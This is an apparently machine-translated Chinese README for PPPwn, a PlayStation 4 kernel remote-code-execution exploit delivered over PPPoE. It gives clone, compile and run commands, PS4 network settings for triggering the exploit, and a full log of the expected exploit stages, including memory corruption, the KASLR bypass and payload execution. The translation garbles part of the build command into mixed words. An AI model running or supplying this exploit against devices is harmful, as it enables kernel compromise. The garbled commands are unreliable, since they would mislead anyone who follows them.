PPPwn 是適用於 PlayStation 4 韌體版本 11.00 及更高版本的核心遠端程式碼執行漏洞。這是 CVE-2006-4304 的概念驗證漏洞,已負責任地向 PlayStation 報告。
支援的版本有:
韌體 7.00 / 7.01 / 7.02
韌體 7.50 / 7.51 / 7.55
韌體 8.00 / 8.01 / 8.03
韌體 8.50 / 8.52
韌體 9.00
韌體 9.03 / 9.04
韌體 9.50 / 9.51 / 9.60
韌體 10.00 / 10.01
韌體 10.50 / 10.70 / 10.71
韌體 11.00
可以添加更多內容(歡迎 PR)
此漏洞僅在您的 PS4 上列印PPPwned
作為概念驗證。為了啟動 Mira 或類似的自製軟體啟用程序,需要調整stage2.bin
有效負載。
具有乙太網路連接埠的計算機
USB 轉接器也可以使用
乙太網路線
Linux
您可以使用 VirtualBox 建立一個使用Bridged Adapter
作為網路適配器的 Linux VM,以使用 VM 中的乙太網路連接埠。
安裝了Python3和gcc
在您的電腦上,克隆儲存庫:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
將目錄變更為克隆的儲存庫:
PPPwn
安裝要求:
sudo pip install -r 要求.txt
編譯有效負載:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100 使-C stage2 FW = 1100乾淨&&使-C stage2 FW = 1100
對於其他韌體,例如 FW 9.00,請傳遞FW=900
。
暫時不要執行漏洞程式(暫時不要按 Enter 鍵),但在提示字元下準備此命令(請參閱ifconfig
以了解正確的介面):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
對於其他韌體,例如 FW 9.00,請傳遞--fw=900
。
在你的 PS4 上:
前往Settings
,然後前往Network
選擇Set Up Internet connection
並選擇Use a LAN Cable
選擇Custom
設定並選擇PPPoE
作為IP Address Settings
輸入PPPoE User ID
和PPPoE Password
DNS Settings
和MTU Settings
選擇Automatic
選擇Do Not Use
用於Proxy Server
現在,同時按下Test Internet Connection
上控制器上的「X」按鈕和鍵盤上的「Enter」(在您已準備好執行 Python 腳本的電腦上)。
在再次嘗試 PPPOE 注入之前,請務必等待控制台顯示訊息「無法連接到網路:(NW-31274-7)」。
如果漏洞利用失敗或 PS4 崩潰,您可以跳過網路設置,只需點擊Test Internet Connection
即可。終止pppwn.py
腳本並在您的電腦上再次運行它,然後按一下「在 PS4 上Test Internet Connection
:始終同時」。
如果漏洞利用有效,您應該會看到類似於下面的輸出,並且您應該看到Cannot connect to network.
然後在 PS4 上列印PPPwned
,反之亦然。
[+] PPPwn - theflow 的 PlayStation 4 PPPoE RCE [+] args:介面=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] 第 0 階段:初始化 [*] 等待 PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] 目標 MAC:xx:xx:xx:xx:xx:xx [+] 來源 MAC: 07:ba:be:34:d6:ab [+] AC cookie長度:0x4e0 [*] 正在發送 PADO... [*] 等待 PADR... [*] 正在傳送 PADS... [*] 正在等待 LCP 設定請求... [*] 正在傳送 LCP 設定 ACK... [*] 正在發送 LCP 設定請求... [*] 等待 LCP 設定 ACK... [*] 正在等待 IPCP 設定請求... [*] 正在傳送 IPCP 設定 NAK... [*] 正在等待 IPCP 設定請求... [*] 正在傳送 IPCP 設定 ACK... [*] 正在傳送 IPCP 設定請求... [*] 等待 IPCP 設定 ACK... [*] 正在等待介面準備好... [+] 目標 IPv6: fe80::2d9:d1ff:febc:83e4 [+] 堆整理...完成 [+] 第一階段:記憶體損壞 [+] 固定在 CPU 0...完成 [*] 發送惡意 LCP 設定請求... [*] 正在等待 LCP 設定請求... [*] 正在傳送 LCP 設定 ACK... [*] 正在發送 LCP 設定請求... [*] 等待 LCP 設定 ACK... [*] 正在等待 IPCP 設定請求... [*] 正在傳送 IPCP 設定 NAK... [*] 正在等待 IPCP 設定請求... [*] 正在傳送 IPCP 設定 ACK... [*] 正在傳送 IPCP 設定請求... [*] 等待 IPCP 設定 ACK... [+] 掃描損壞的物件...發現 fe80::0fdf:4141:4141:4141 [+] 第二階段:KASLR 失敗 [*]擊敗KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] 第三階段:遠端程式碼執行 [*] 正在發送 LCP 終止請求... [*] 等待 PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] 目標 MAC:xx:xx:xx:xx:xx:xx [+] 來源 MAC: 97:df:ea:86:ff:ff [+] AC cookie長度:0x511 [*] 正在發送 PADO... [*] 等待 PADR... [*] 正在傳送 PADS... [*] 觸發程式碼執行... [*] 正在等待 stage1 恢復... [*] 正在傳送 PADT... [*] 等待 PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] 目標 MAC:xx:xx:xx:xx:xx:xx [+] AC cookie長度:0x0 [*] 正在發送 PADO... [*] 等待 PADR... [*] 正在傳送 PADS... [*] 正在等待 LCP 設定請求... [*] 正在傳送 LCP 設定 ACK... [*] 正在發送 LCP 設定請求... [*] 等待 LCP 設定 ACK... [*] 正在等待 IPCP 設定請求... [*] 正在傳送 IPCP 設定 NAK... [*] 正在等待 IPCP 設定請求... [*] 正在傳送 IPCP 設定 ACK... [*] 正在傳送 IPCP 設定請求... [*] 等待 IPCP 設定 ACK... [+] 第 4 階段:任意負載執行 [*] 正在發送 stage2 有效負載... [+] 完成!
程式碼無法在 Apple Silicon 上編譯,並且需要 AMD64 架構。有一個使用 docker 的解決方法,它將建立所需的 bin 檔案。將此儲存庫複製到您的 mac 系統,然後從儲存庫資料夾執行./build-macarm.sh
。這將為 PS4 FW 1100 建置二進位文件,並將必要的文件放入正確的資料夾中。若要建置不同版本(即 900)的二進位文件,請執行以下命令: ./build-macarm.sh 900
。建置完成後,將此資料夾結構複製到 Linux VM 中並按照上面的說明執行。本測試使用VMware Fusion 13.5.1,VM Guest為Ubuntu 24.04,宿主機為MacOS 14.4.1